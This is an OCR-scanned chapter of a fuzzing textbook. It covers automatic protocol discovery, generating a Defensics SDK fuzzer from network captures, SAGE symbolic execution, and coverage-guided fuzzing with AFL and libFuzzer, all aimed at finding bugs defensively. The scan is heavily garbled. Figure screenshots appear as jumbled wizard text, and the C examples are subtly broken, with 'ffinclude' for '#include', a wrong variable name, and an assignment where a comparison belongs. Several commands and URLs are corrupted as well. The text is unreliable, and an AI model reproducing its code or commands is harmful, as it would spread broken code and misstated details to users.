Fuzzing without watching for errors will not find vulnerabilities. Furthermore, it
is important to understand the types of errors you can expect to find with fuzzing.
We discussed some of the more common security vulnerabilities and how you might
detect them. We then outlined some of the various methods. These methods include
sending valid test cases between fuzzed inputs, monitoring system resources, both
locally and remotely, as well as changing the way the application executes. The closer
you monitor the target, and the more sophisticated tools used for the monitoring,
the more likely you will find those hard-to-locate vulnerabilities.
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So far, we’ve talked about how to set up fuzzing and some of the problems you may
run into. One of the themes of the book is that intelligent, generation-based fuzz-
ing is most effective but can take a tremendous amount of effort and time to set
up. This chapter discusses some advanced research topics and trends on the field
of fuzz testing. The first topic we present attempts to automatically determine the
structure of protocols, both network and file formats, removing this obstacle to
generation-based fuzzing. The other topics we discuss are different approaches at
trying to utilize the information from the application itself to improve test-case gen-
eration. For example, by knowing which paths through a program a particular set
of fuzzed inputs took, can we use that information to generate even better inputs?
Then we discuss trending tools for code coverage guided fuzz testing. And last, we
discuss the topic of cloud fuzzing frameworks.

Automatic Protocol Discovery

Generation of model-based fuzzers is time-consuming. But imagine if a tool could
simply watch data being consumed by an application, automatically determine the
type of each data, and insert appropriate smart fuzz tests into the messages. For
example, take some data from a file or network protocol that looks like this:

“\x01\x00\x0aGodisGood\n”

From this data it is probably clear that 01 = type, 000a = length, and
“GodisGood\n” is the data. However, note that a “\n” is a \x0a in hex (see an
ASCII/HEX table if this is unclear; “man ascii” in Linux). Thus, it can be a bit chal-
lenging for prefuzzing parsing code to automatically determine the types. There are
multiple ways to deal with this issue. For example, tokAids in GPF allow the tester
to inform GPF how to tokenize stored sessions. But, since it’s easier for humans to
perform pattern recognition than computers, a graphical tool could be constructed
that would allow for field tagging.! One could pop open a file or network capture,
highlight each field, and manually mark it accordingly. This would likely end up
more accurate than computer-generated code.

!Charlie Miller has developed such a tool.
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7.2

Some work has been done to try to automate this to discover such protocols.
PolyGlot is one such work.? This tool watches as a program consumes an input.

Based on the assembly instructions used to read bytes from the data stream,
some basic grouping of the input can be made. For example, does the program
treat a particular section of bytes as a byte, word, or dword? Next, by watching
how these bytes are processed within the control flow graph of the program, these
individual elements (bytes, words, dwords) can be grouped into structures. For
example, if a function loops, and in each loop 2 bytes and 4 dwords are consumed,
it can be assumed that those 18 bytes belong together in some fashion. The authors
of the paper use the tool to successfully automatically reverse engineer a number of
network protocols including DNS, HTTP, IRC, SMB, and ICQ.

Another example of automated protocol discovery is included with the com-
mercial beSTORM fuzzer. It does this by examining the valid test cases or inputs.
It automatically tries to find length value pairs in binary data and can decode
protocols based on ASN.1 (more on this in Chapter 8). It tries many models and
assigns percentages to how much of the structure it can account for in the actual
data. For text-based inputs, it can break apart the data based on a number of dif-
ferent separators (for example, Tab, Comma) as well as user-defined separators. It
has custom modules for those inputs based on HTTP and XML. Finally, it provides
a graphical user interface to help the tester describe the protocol (i.e., specify the
location of length fields).

Automatic Generation of a Model-Based Fuzzer

As described in Chapter 3, there are fundamental differences between model-based
fuzzing and sample-based fuzzing. Sample-based fuzzing tools rarely understand
the type and semantics of the data elements, and as explained in Section 7.1, some
automation of this is possible. Understanding message sequences, data structures,
and data syntax has been built into tools such as network analyzers. Could this
information be used to generate smart model-based fuzzers? Such a tool, called
Traffic Capture Fuzzer, was released by Codenomicon in 2009.3

This section is structured based on information provided by Tuomo Untinen
from Synopsys, and describes the use of current Defensics SDK as a framework for
creating a model-based fuzzer from network capture samples such as PCAP record-
ings. This allows combining the best benefits from both model-based and sample-
based approaches through creation of a quick and simple behavioral model from the
samples, resulting in more effective fuzz test cases for specific target compared to
dumb mutation tests with no understanding of the semantics or syntax of the tested
interface. The tests can also reach areas that pure specification-based models would

2]. Caballero, H. Yin, Z. Liang, D. Song, “Polyglot: Automatic Extraction of Protocol Message For-
mat Using Dynamic Binary Analysis,” In Proceedings of the 14th ACM Conference on Computer
and Communication Security, Alexandria, VA, October 2007.
Shttp://www.businesswire.com/news/home/20091105006102/en/Codenomicon-Releases-Software
-Based-General-Purpose-Security.
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not reach as the captured samples could contain vendor-specific data and features
that might not be available in publicly known protocol or file format specifications.

7.2.1 Defensics SDK with Suite Wizard

The Suite Wizard is part of the Defensics SDK, and is a tool that reads a PCAP
capture of the network traffic with Wireshark’s* TShark tool, and creates a PDML
model from the network capture. Wireshark dissectors are used to creating the
structural model for the protocol messages, and therefore if Wireshark does not
recognize the protocol then created model will be very simple. On the other hand,
for proprietary protocols a custom dissector for Wireshark can be created and used
when creating the model.

Defensics SDK with Suite Wizard also creates sequences based on the network
capture. This is done on the message level, so it can recognize TCP and UDP mes-
sages as would Wireshark. The same goes as well for any other message levels.
Suite Wizard is also able to create stub Java or Python project depending on which
programming language you prefer to use. Suite Wizard tries to recognize possible
rule positions from field names such as length values or check-sums. It also tries to
recognize length and count fields and marking a comment on the location of rec-
ognized fields. After this stub project for Fuzzer has been created it is much easier
to start editing the protocol fuzzer as needed.

7.2.2 Example Project Created with Suite Wizard

Project will consist of four or five files depending on programming language and
settings. For Java projects Suite Wizard can create build.gradle file to help build-
ing the Java project and creating IDE integrations automatically (see Figure 7.1).

README.md file contains generic information about the project, how to run
the new fuzzer, and how to pack it into distributable form. This file is written in
Markdown, which is used in modern wiki systems (see Figure 7.2).

The third file is the properties file, which is used when packing the new fuzzer
into distributable form. Properties file tells the packer where to find compiled class
files or Python scripts. This file also tells where to find the SDK JAR file (the generic
Defensics engine code), the SDK suite file (the fuzzer-specific code), and the required
fuzzer resource files. The properties file also contains the fuzzer name and version
(see Figure 7.3).

The fourth file is the actual model file. This model is now generated based on
the network capture file, and it contains comments where the Suite Wizard assumes
that there could be dynamic data such as those generated by length or count rules.
Placing all the rules is responsibility of the fuzzer developer (see Figure 7.4).

The fifth file is the Python or Java file. This file extends the FuzzerBuilder class.
FuzzerBuilder is the main class for creating a new fuzzer with Defensics SDK. This
file specifies which model files needs to be loaded and what kind of settings are

*https://www.wireshark.org/.
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SDK PCAP Import Wizard

Select the used programming
language and the role for the
created suite. Project files can be

Language
Suite language:

|Java ‘v|

Java package:

|com‘example.sdk ‘v|

Java class file:

|Sdk5uite¢ava ‘v|

Create Gradle project
Python seript file:

Injector
Suite role:

|Chent ‘v|

Create injector settings

Create source port setting

Model
Format bnf label fields

http-xml/build. gradle

[ sdksuite.java | model.bnf | http-xml.properties | README.md | build.gradle

reviewed from the panel on the right.

1 |/ Gradle build file for http-xml

apply plugin: 'java'
sourceCompatibility = 1.8
targetCompatibility = 1.8
'eclipse’
‘1dea’

apply plugin:
apply plugin:

0~ oUW

9

10 def sdkTools = "lib/sdk-2017.03- ALPHA- 170131- Q. Jar"
11Edependencies {

12 compile files(sdkTools)

13 }

14

-

[4]

] Il D

| < Back H Create project || @ Finish || i@ Help H E3 cancel |

Figure 7.1

SDK PCAP Import Wizard

Example of build.gradle generated from HTTP traffic capture.

Select the used programming
language and the role for the
created suite. Project files can be

Language
Suite language:

Ijava

Java package:

|com‘example.5dk

Java class file:

|5dksuite.java

Create Gradle project
Python script file:

suite.py

reviewed from the panel on the right.

Suite role:

[crient

Create injector settings

Create source port setting

Injector————————————————

Model

Format bnf label fields

http-xml/README.md
SdkSuite.java I’model,bnf rhttp-xml.propertieﬁ rREADME.md rbulld.gradle |

# http-xml
Readme for SDK suite project.

## Regulrements
* [Java] (http://java.oracle.com) 1.8
* [Gradlel] (https://gradle.com)

W~ WU W

## Setting up development environment
9 The ‘gradle’ can be used for creating project settings for

10 |[Eclipsel(https://eclipse.org/) and [Intellij IDEA]l(https://www.jetbrai

11 [To generate pr‘nject, use:

14 $ gradle eclipse

16 jor

17 [

18 $ gradle idea

20 depending on the IDE you are using.

22 gt Compiling the Java Source Code.
23 To compile project code, use following “gradle” command:

25 ¢ gradle compilelava

wite Novelnnment

27 Mtl llsina SNK Tanls far Test
4 Il

| 1*]

| < Back || Create project || @ Finish |I @ Help ||_mcancel |

Figure 7.2 Example of README.md file generated by Suite Wizard.
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SDK PCAP Import Wizard

Select the used pragramming http-xmifhttp-xml properties
language and the role for the — . =
created suite. Project files can be SdkSul-te.Java rmodel.bnf r http-«ml.properties rREADME‘md rbuwld.grad\e |
reviewed frem the panel on the right. 1 suite.name=http-xml =
Language 2 suite.version=0.0.1

Suite language: 3 suite.sdk-suite=lib/sdk-201703- ALPHA- 170131-0.1install

guage: 4 suite.builder-class=com.example.sdk.SdkSuite

‘JBVB |'| 5 suite.class-path=build/classes/main

Java package: S suite.resources=resources,

‘com‘example.sdk |v| L
Java class file:

‘SdkSulte.|ava |v|

Create Gradle project

Python seript file:

Injector

Suite role:

‘Cllent |v|

Create injector settings

Create source port setting

Madel

[¥] Format bnf label fields =

4] Tl v |
| < Back | | Create project | | @ Finish | | i@ Help | | E3 cancel |
ETTTEMETTE T 20TE 0808 DEtasRE st

Figure 7.3 Example of properties file generated by Suite Wizard.

SDK PCAP Import Wizard

Select the used programming http-smlfresources/model, bnf
language and the role for the prom B = F
created sutte, Praject flles can be SdkSuite.java | model.bnf r http-xml.properties rREADME.md fbulld.gradle \
reviewed from the panel on the right. 1 COLOW = ':! |~
LR 2 CALF = '\ ryn’ 1
Suite language: 3 FQUALS = '='
e 4 |LEFT-ANGLE- BRACKET = ' <'
|JaVa |V| 5 RIGHT- ANGLE- BRACKET = '>'
|ava package: S :EMIC?LC‘JN =
|corn.examp|a.sdk |v| 8 Imsg-001 = .http: (
Java class file: g .get: (
10 .http-request-method: 'GET'
|SdkSulte.Java |v| 1 sp
Create Gradle project E égttp' request-uri: '/
Pythan seript file: 14 .http-request-version: 'HTTR/1.1'
| | | 15 CRLF
16 )
Injectar 17 .host: ('Host' COLON SP '182.168.56.101' CRLF)
Suite role: 18 .connection: ('Connection' COLON SP 'keep-alive' CRLF)
19 .accept: ('Accept' COLON SP 'text/html,application/xhtml+xml, applica
|C\|ent |'| 20 .upgrade-1nsecure-requests: ('Upgrade-Insecure-Requests' COLON SP 'l
[ Create injector settings 21 .user-agent: _(‘User-Agent' COLON_SP "Mozilla/5.0' _SP "(X11' SEMICOLO
22 .accept-encoding: ('Accept-Encoding' COLON SP 'gzip,' SP 'deflate,’
[¥] Create source port setting 23 .accept-language: ('Accept-lLanguage' COLOM SP 'en-US,en' SEMICOLON '
24 .rn: CRLF
Model 25 )
Format bnf label fields ?)S mSQI;EEZ =|, ( =
o Adl
1] il ] [+]
| < Back | ‘ Create project | | @ Finish ‘ | i@ Help | | £ cancel |
 TETTTTEAMr . 3.Z0 2016-09-06 Datasheet

Figure 7.4 Example of an HTTP model generated from an HTTP traffic capture.



208

Advanced Fuzzing

needed for the fuzzer. Class file includes the test sequence that was created accord-
ing to the sequences seen in the network capture file (see Figure 7. 5).

7.2.3 Fuzzer Modeling

Defensics SDK uses a variant of Backus-Naur Form (BNF) for modeling. This
is very close to ABNF,’ which is used in many RFCs for example for the HTTP
specification. Everything done in ABNF can be done also with Defensics BNF and
converting from ABNF is pretty straightforward. There are just minor changes in
syntax. For example, the symbol in ABNF is “/” and in Defensics it is “I”. Strings
and characters in ABNF are inside double quotes but in Defensics they are in single
quotes. Binary values in ABNF are presented with %xNN and NN is hexadecimal
value of byte. In Defensics BNF these are presented with OxNN. Using RFCs where
protocol is defined with ABNF is easy and since the base model is generated from
network traffic it is quite easy to start doing modification to the model.

The protocol model for a fuzzer should be built so that the incoming message
model can be quite tolerant, as the generated fuzzer does not care about most of
the data the SUT is sending back as responses to the generated messages. In some
cases, for the testing to trigger a specific feature in the target software, the outgoing
test case must contain specific values. Defensics SDK has two ways to do this. The
model for outgoing messages could be augmented with programmed rules, and the

SDK PCAP Import Wizard

Select the used programming http-xml/src/mainfjava/com/example/sdk/SdkSuite. java
gz el i el B s Sdksuits.| del.bnf | httpaml rties | README.md | build.gradl
created suite, Project files can be — IR mcdelbn [ hitp xmi properties [ SN i )
reviewed from the panel on the right. = goverride
LR 585 public void build(BuilderTools tools) throws Exception {
Suite language: 59 ElementFactory factory = tools.factory();
|Java ‘v| 60
61 factory.readTypes("resources/model.bnf");
Java package: 62
|com‘example.sdk ‘v| 63 // Create messages
P 64 MessageElement sendo0l = factory.field('send-ool", "msg-001");
137 AR e 85 MessageElement recv002 = factory.field("recv-002", "msg-002");
|Sdk5ulte.]ava ‘v| 65 MessageElement send003 = factory.field('send-003", "msg-003");
&7 MessageElement recve4 = factory.field("recv-004", "msg-004");
Create Gradle project &8
Python script file: 59 // Create io
| ‘ | 70 String host = getHost(tools);
71 int port = getPort(tools);
N — 72 int sourcePort = getSourcePort(tools);
J_ 73 Injector 1o = tools.injector().tcp().host(host).port(port)
Suite role: 74 .localPort(sourcePort);
[ctient =] Il 7
76 MessageElement sequence = factory.sequence(
Create injector settings 77 io.send(sendonl],
Create source port setting ;g 1o, recstve(;;;;i)}@ﬂ 4
10.s5en sen ’
Model 80 ) io.receive(recvood)
il ;
Format bnf label fields 2
1] I I
‘ < Back | ‘ Create project | ‘ @ Finish | | & Help | | 3 cancel ‘

Figure 7.5 Example of a Java project file generated from an HTTP traffic capture.

Shttps://tools.ietf.org/html/rfc5234.
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specific values could be assigned during test case generation using Java or Python.
Another option is to directly build the model to have certain default values. This
is a faster and simpler method bacuase there is no need to assign values in Java or
Python code. When the model is generated from the traffic capture, SDK Wizard
places detected values into the model directly to be used as default values when the
traffic capture is replayed by the fuzzer.

7.2.4 Adding Rules to the Fuzzer

The main purpose of the rules is to keep the messages as valid as possible. For
example, rules can calculate element lengths, count how many items are in array
fields, and make sure that hashes and checksums are correct. In Defensics SDK, rules
are placed into the model using a Java or Python project. Defensics SDK has com-
prehensive list of preprogrammed rules that include lengths, counts, hashes, check-
sums, correlation between fields, copying values, padding, offset calculations, and
sequence numbers. It also provides a programming interface to create custom rules
for specific protocols. These are very rarely needed, but are mandatory if protocol
uses complex or proprietary cryptographic calculations or some other exotic logic.

7.2.5 Settings to Configure the Fuzzer

Testing the same target in the same setup from where the capture was taken does
not require any additional configurable settings. Adding capability to configure the
target IP address and the target port number can make test execution easier when
test setup changes because there is no need to recompile the whole project. What
configurable settings are needed depends highly on the protocol being fuzzed. For
example, an HTTP-based protocol could use an HTTP URI instead of an IP address
and port. Settings also could be used to configure the filename that is used for the
sample file for outgoing message, or settings could set possible usernames or pass-
words if the protocol has authentication functionality.

7.2.6 Fuzzer Input and Output

The generated fuzzer needs to have a method to communicate with outside world.
This could be something very simple like just reading the sample file and writing
new sample files out, or the output could be sent to network via sockets. In Defen-
sics SDK these input and output methods are called injectors. Defensics SDK sup-
ports UDP, TCP, file output, TLS, HTTP, WebSocket, and custom-made injectors.

7.2.7 Building and Packing the Fuzzer

When the fuzzer is tested and verified to function correctly, it can be packed into a
finished test suite. The generated test suite works and looks like any other Defen-
sics test suite and can be installed into the same monitor platform. When executed,
the test cases are generated automatically according to the model and use the same
methodology as any other prebuilt Defensics Test Suite, as shown in Figure 7.6.
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Figure 7.6 Finished fuzzer made with Defensics SDK.
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7.2.8 Conclusions

In this section, a sample network capture was used to create a base model for a
fuzzer with commercial Defensics SDK. When the target protocol is supported
by the Defensics modeling tool, this technique can leverage the information from
sample files to decrease the amount of work required to implement an effective
model based fuzzer.

Symbolic Execution with SAGE

The paper entitled “Automated Whitebox Fuzz Testing” by Godefroid, Levin, and
Molnar is an exceptional piece of research for next generation white-box fuzzers.
In particular, they created a tool called SAGE (Scalable, Automated, Guided Execu-
tion), an application for a white-box file fuzzing tool for x86 Windows applications.®

SAGE works in mutation-based (black-box) fuzzing by starting with an initial
input. This input is then symbolically executed by the program while information
about how it is used is stored. The information about why each particular branch
was taken (or not taken) is referred to as constraints. Then, each of these constraints
is negated one at a time and the entire system is solved, resulting in a new input
to the program that has a different execution path. This is then repeated for each
constraint in the program. In theory, this should give code coverage for the entire
attack surface. In practice, this isn’t the case, for reasons we’ll discuss in a bit. The

¢https://patricegodefroid.github.io/public_psfiles/ndss2008.pdf.
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paper gives the following example of a function for which SAGE can quickly get
complete code coverage while a random fuzzer will struggle:

void top(char input[4]1){
int cnt = 0;
if(input[0] == ‘b’) cnt++;
if(inputll]=="a’) cnt++;
if(input[2]=="d’) cnt++;
if(input[3]=="1") cnt++;
if(cnt>=3) abort(); //error
}

This is clearly a contrived example, but it does illustrate a point. Using purely
random inputs, the probability of finding the error is approximately 2*(-30). Let
us walk through how SAGE would generate inputs for such a function. Suppose we
start with the input “root,” a valid but not very useful input. SAGE symbolically
executes this function and records at each branch point what was compared. This
results in constraints of the form

{input[0] != *b’, inputl[l] !="a’, inputl[2]!="d’, input[3]!="1"}.

It then begins to systematically negate some of the constraints and solve them to
get new inputs. For example, it might negate the first branch constraint to generate
the following set of constraints:

{input[0] == “b’, dinputl[l] !=’a’, inputl[2]1!="d’, input[3]1!="1"}.

This constraint would then be solved to supply an input something like “bzzz.” This
will execute down a different path than the original input “root,” resulting in the
variable having a different value upon exit from the function. Eventually, continu-
ing in this approach, the following set of constraints will be generated:

{input[0] == “b’, inputl[l] ==’a’, inputl[2]=="d’, input[3]=="1"}.

The solution of this set of constraints gives the input “bad!” This input finds the bug.

This technique does have its limitations, however. The most obvious is that there
are a very large number of paths in a program. This is the so-called path explosion
problem. It can be dealt with by generating inputs on a per-function basis and then
tying all the information together. Another major limitation is that, for a number of
reasons, the constraint solver may not be able to solve the constraints (in a reason-
able amount of time). Yet another problem arises because symbolic execution may
be imprecise due to interactions with system calls and pointer aliasing problems.
Thus, this approach loses one of the best features of black-box fuzzing; namely, you
are actually running the program so there are no false positives. Finally, the ability
of SAGE to generate good inputs relies heavily on the quality of the initial input,
much like mutation-based fuzzing.

Despite all these limitations, SAGE still works exceptionally well in many cases
and has a history of finding real vulnerabilities in real products. For example,
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SAGE was able to uncover the ANI format-animated cursor bug. This vulnerabil-
ity specifically arises when an input is used with at least two anib records, and the
first one is of the correct size. Microsoft fuzzed this application, but all of their
inputs only had one anib record. Therefore, they never found this particular bug.
However, given an input with only one anih record, SAGE generated an input with
multiple anib records and quickly discovered this bug. This code contained 341
branch constraints and the entire process took just under 8 hours. Other successes
of SAGE include finding serious vulnerabilities in decompression routines, media
players, Microsoft Office, and image parsers. Unfortunately, SAGE is not available
for home usage, but Microsoft has announced that their fuzzing-as-a-service project
Springfield uses SAGE as one of its key components.”

Code Coverage in Fuzzing

One of the major challenges of fuzzers is measuring their effectiveness. While
obtaining 100% code coverage doesn’t necessarily mean all bugs have been found,
it’s certainly true that no bugs will be found in code that hasn’t even been executed.
The best fuzz tests should cover (execute) all the code, and cover it with all the
attack heuristics, systematic or random data values, and as much other informa-
tion as possible.

That being the case, how can one know what percentage of the attack surface a
tool is covering? For example, if an arbitrary program contains 1,000 basic blocks
(series of assembly instructions until a branch instruction) and a network fuzzer hits
90 basic blocks, did it really only cover 90/1000, or 9% of the total code? Strictly
speaking, that’s true, but the fact is that most of that code cannot be covered via
the interface under test. So, how much of the attack surface code was covered? Sup-
pose that it’s possible to reach 180 BBs from the network and the coverage was then
90/180, or 50% of the attack surface. But how does one figure out the number of
BBs on the attack surface? A combination of all known valid sessions/files would
be a good, but difficult, first step.

If source code is available, there are a number of tools that can be used to
display code coverage information. However, suppose the source code is not avail-
able. Coverage can still be monitored. The two main techniques are preanalysis
and real-time analysis:

* Preanalysis requires locating the start of every function and basic block in the
application. This can be done with IDA Pro, for example, and the pida_dump.
py IDAPython script. Then using PaiMei, a breakpoint is set at each of these
locations. As each basic block is hit, it is recorded; that basic block or func-
tion has now been covered.

+ Real-time analysis is done with hardware support via the Intel MSR regis-
ter, which can be used to record every address that EIP (the Intel instruction
pointer) has executed. This has the advantage of being faster (no time required

7https://blogs.microsoft.com/next/2016/09/26/microsoft-previews-project-springfield-cloud-based-
bug-detector/.
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to pass back and forth between the debugger and the debuggee) and doesn’t
rely on IDA Pro output. Here are a few things to consider when deciding
which approach to use:

1. Preanalysis could be difficult if the application is protected.

2. MSR doesn’t work in virtual machines such as VM Ware.

3. In real-time analysis, all instructions are traced, so the coverage tool
would have to manually filter hits outside the scope of the target DLL(s)
(i.e., the many jumps to kernel and library DLLs).

4. Preanalysis is still required to determine how many total functions/basic
blocks there are if the percent of code coverage is desired.

So, code coverage can be obtained, regardless of whether source code is available,
now for examples of how it can be used.

Code coverage (or the lack of it) reveals which portions of the code have not
been tested. This code may also be code that is not executed during normal usage.
It is possible that the majority of bugs will be lurking in these dark corners of the
application. Therefore, fuzzing with code coverage could also reveal portions of the
application that require further static analysis. With such analysis may come a better
understanding of those portions of the application that can aid in better input con-
struction for the fuzzer. Iterating this approach can provide more thorough testing.

741 Code Coverage Guided Fuzzing: American Fuzzy Lop

American Fuzzy Lop (AFL) is a security-oriented fuzzer that employs compile-time
instrumentation and genetic algorithms to automatically discover clean, interesting
test cases that trigger new internal states in the targeted binary. This substantially
improves the functional coverage for the fuzzed code. The compact synthesized
corpora produced by the tool are also useful for seeding other, more labor- or
resource-intensive testing regimes down the road. In short, it is a mix of much of
what has been tried before, but is wrapped up in a package that is straightforward
to use and incredibly fast. It uses, file-like fuzzing, monitoring, distribution, and
brute-force exploration to generationally provide better inputs and find bugs.

A few of the key aspects in AFL are that AFL doesn’t do just blind mutations.
Instead it uses a variety of different fuzzing and optimization strategies to reach a
small and fast input corpus that still reaches the code coverage of all tested inputs.
AFL also uses a fork server that improves performance by running the target pro-
gram until main and forking instances to handle new test cases from that initialized
state. Full technical details of AFL can be found from afl-fuzz technical whitepaper.?

Let’s consider the example from SAGE research presented in Section 7.3:

void top(char input[4]1){

int cnt = 0;

if(input[0] == ‘b’) cnt++;
if(input[l]=="a’) cnt++;
if(input[2]=="d’) cnt++;

8http://lcamtuf.coredump.cx/afl/technical_details.txt.
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if(input[3]=="1") cnt++;
if(cnt>=3) abort(); //error

And write it out as an example that can be compiled for AFL:
ffinclude <stdio.h>
ffinclude <stdlib.h>
ffinclude <assert.h>

int foo(char a,char b,char c,char d){

int cnt=0;
printf(“a=%c, b=%c, c=%c, d=%c\n”, a, b, c, d);
if(a == ‘b’)
cnt++;
if(h == ‘a’)
cnt++;
if(c == ‘d’")
cnt++;
if(d = ‘1)
cnt++;
if(cnt>=3)

abort(); //error

int main(int argc, char * argv[]1){
FILE *f;
char a, b, c, d;
if( argc != 2)
{
printf(“bad args, need valid file name\n”);
exit(-1);

}
f = fopen(argv[1l], “r”);
j

if( f )
fread(&a, 1, 1, f);
fread(&b, 1, 1, f);
fread(&c, 1, 1, f);
fread(&d, 1, 1, f);
foo(a, b, c, d);

}
The program can be compiled with AFL instrumentation:

[attekett@Ubuntu ~J]$ export AFL_DONT_OPTIMIZE=1
[attekett@Ubuntu ~J$ ./afl-gcc Example2.c -o Example?

Then AFL can be run:

[attekett@Ubuntu ~1% ./afl-fuzz -i ./testcases/Example2/ -o
ExampleZ_output/ ./Example? @@
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Figure 7.7 American Fuzzy Lop: Example2.

AFL writes unique crash reproducing files into the output folder, in a subdirec-
tory called “crashes”. Found crashes can be reproduced by executing the files from
that folder:

[attekett@Ubuntu ~1$ ./Example?2
output/crashes/id\:000002\,sig\:06\,src\:000004\,0op\:int8\,pos\:2

\,val\:+100
a=b, b=d, c=d, d=!
Aborted

Using AFL for a real-world example is straightforward. For example, let’s take

libxml2, a widely used XML parsing and toolkit library. On Ubuntu 16.04 Linux

you can get fuzzing libxml2’s xmllint utility with AFL after seven commands.
First, we install AFL and get the source code of libxml2-utils

[attekett@Ubuntu ~J]$ apt-get install -y afl
[attekett@Ubuntu ~J]$ apt-get source libxml2-utils

Next, we configure libxml2 build to use AFL compilers and compile the
xmllint utility

[attekett@Ubuntu ~1%$ cd libxml2-2.9.3+dfsgl/
[attekett@Ubuntu ~1$ ./configure CC=afl-gcc CXX=afl-g++
[attekett@Ubuntu ~J1$ make xmllint

Lastly, we create a sample file with content “<a></a>” for AFL to start with
and run the afl-fuzz
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american fuzzy lop 2.39b (Llt-xmllint)

Figure 7.8 American Fuzzy Lop: lt-xmllint.

[attekett@Ubuntu ~J$ echo “<a></a>” > in/sample
[attekett@Ubuntu ~1%$ afl-fuzz -i ./in -o ./out -- ./.libs/
1t-xmllint -0 /dev/null @@

AFL will continue fuzzing indefinitely collecting inputs that trigger new code
coverage in to “./out/queue/’, crash triggering inputs in to ‘./out/crashes/’ and inputs
causing hangs in to “./out/hangs/’.

AFL is widely used and practical fuzzer. It has been used to reveal a number of
vulnerabilities from different open-source projects.” Originally designed for pro-
grams that can be compiled with gcc or clang, it has inspired people to implement
variants that use AFL fuzzing engine to fuzz programs written in other languages,
like Python, Go, and Rust, and even for black-box binaries with QEMU mode.

74.2 Code Coverage Guided Fuzzing: libFuzzer

libFuzzer is an in-process, coverage-guided, evolutionary fuzzing engine. In contrast
to AFL, libFuzzer does not fork a new process for each test case; instead libFuzzer
feeds test cases to the target library through a fuzz target function.

An example fuzz target function:

// fuzz_target.cc
extern “C” int LLVMFuzzerTestOnelnput(const uint8_t *Data, size_t
Size) {
DoSomethingInterestingWithMyAPI(Data, Size);
return 0; // Non-zero return values are reserved for
future use.

}

°http://lcamtuf.coredump.cx/afl/#bugs.
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libFuzzer executes the target function with fuzzed data and data size as an argu-
ment, tracks which code paths are reached, and mutates the input data to maximize
the code coverage. libFuzzer collects the code coverage information using Clang
compiler SanitizerCoverage, and it is designed to be used together with different
sanitizers, which were presented in Chapter 6.

Let’s consider the same SAGE example as previously with AFL. One way to
write it out with libFuzzer fuzz target function would be:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <stdint.h>

int foo(char a,char b,char c,char d){

int cnt=0;
if(a == ‘b’")
cnt++;
if(b == ‘a’)
cnt++;
if(c == ‘d’)
cnt++;
if(d == ‘1)
cnt++;
if(cnt>3)
abort(); //error
return 0;

// fuzz_target.cc
extern “C” int LLVMFuzzerTestOnelnput(const uint8_t *data, size_t
size) {

if( size < 4){

return 0;

}

foo(datalOl,datall],datal2],datal3]1);

return 0; // Non-zero return values are reserved for
future use.
}

The fuzz target has to be compiled with clang and linked with the libFuzzer library:

clang++-4.0 -fsanitize=address -fsanitize-coverage=trace-pc-guard
fuzz-target.cc 1ibFuzzer.a -o fuzzer

Then the fuzzer can be executed:
[attekett@Ubuntu ~J]$ ./fuzzer

INFO: Seed: 902411983
INFO: Loaded 1 modules (13 guards): [0x771e30, 0x771e64),



218

Advanced Fuzzing

INFO: -max_len is not provided, using 64
INFO: A corpus is not provided, starting from an empty corpus
#0 READ units: 1
#1 INITED cov: 2 ft: 2 corp: 1/1b exec/s: 0 rss: 26Mb
##4  NEW cov: 9 ft: 9 corp: 2/6b exec/s: 0 rss: 2/Mb L: 5 MS: 3
InsertByte-InsertByte-CMP- DE: “\xff\xff”-
##28 NEW cov: 10 ft: 10 corp: 3/12b exec/s: 0 rss: 27Mb L: 6 MS:
2 ChangeBit-InsertByte-
##434 NEW cov: 11 ft: 11 corp: 4/25b exec/s: 0 rss: 27Mb L:
13 MS: 3 InsertRepeatedBytes-EraseBytes-ChangeByte-
#1314  NEW cov: 12 ft: 12 corp: 5/29b exec/s: 0 rss: 27Mb L: 4
MS: 3 InsertByte-CopyPart-InsertByte-
#8256  NEW cov: 13 ft: 13 corp: 6/40b exec/s: 0 rss: 28Mb L:
11 MS: 5 InsertByte-CMP-EraseBytes-ChangeByte-ChangeBit- DE: *\
xffAxff”-
==26856== ERROR: TibFuzzer: deadly signal

#0 0x4e1793 in __sanitizer_print_stack_trace (./
fuzzer+0x4el793)

#1 0x51b1fl in fuzzer::Fuzzer::CrashCallback() ./FuzzerLoop.
cpp:280:5

##2 0x51blbd in fuzzer::Fuzzer::StaticCrashSignalCallback() ./
FuzzerlLoop.cpp:264:6

##3 0x7fa8aef2f38f (/1ib/x86_64-1inux-gnu/libpthread.
s0.0+0x1138f)

##4 0x7fa8ae568427 in gsignal /build/glibc-t3gR2i/glibc-2.23/
signal/../sysdeps/unix/sysv/linux/raise.c:54

#5 0x7fa8ae56a029 in abort /build/glibc-t3gR2i/glibc-2.23/
stdlib/abort.c:89

#6 0x5127cf in foo(char, char, char, char) (./fuzzer+0x5127cf)

##7 0x5129e6 in LLVMFuzzerTestOnelnput (./fuzzer+0x5129e6)

#8 0x51cOcc in fuzzer::Fuzzer::ExecuteCallback(unsigned char
const*, unsigned long) ./FuzzerLoop.cpp:550:13

#9 0x51c2f4 in fuzzer::Fuzzer::RunOne(unsigned char const*,
unsigned long) ./Fuzzerloop.cpp:501:3

#10 0x51d5ad in fuzzer::Fuzzer::MutateAndTestOne() ./
FuzzerlLoop.cpp:757:30

#11 0x51d7f7 in fuzzer::Fuzzer::Loop() ./Fuzzerloop.cpp:791:5

#12 0x514f05 in fuzzer::FuzzerDriver(int*, char***, int (¥*)
(unsigned char const*, unsigned Tong)) ./FuzzerDriver.cpp:567:6

#13 0x512a60 in main ./FuzzerMain.cpp:20:10

#14 0x7fa8aeb5382f in __libc_start_main /build/glibc-t3gR2i/
glibc-2.23/csu/../csu/libc-start.c:291

##15 0x41c588 in _start (./fuzzer+0x41c588)

NOTE: TibFuzzer has rudimentary signal handlers.

Combine TibFuzzer with AddressSanitizer or similar for
better crash reports.
SUMMARY: TibFuzzer: deadly signal
MS: 2 EraseBytes-ChangeBinInt-; base unit:
9236696fc3fa74c251c43bb1f7e690f8d31cb252
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0x62,0x61,0x64,0%x21,0x9,0x17,0xff,0xff,0xa,0x3b,
bad!\x09\x17\xff\xff\x0a;

artifact_prefix="./"; Test unit written to ./crash-f976b97d194180
7c81d68addef3fbabfcc604c72

Base64: YmFkIQkX//8K0Ow==

From the output, it can be seen that libFuzzer found input: “bad! \x09\x17\xff\xff\
x0a;” that reached the abort in the example code. The extra binary after the desired
string “bad!” is because by default libFuzzer uses a maximum input size of 64 bytes.

Detailed technical information for libFuzzer can be found from the libFuzzer
documentation Webpage.!®

Evolutionary Fuzzing

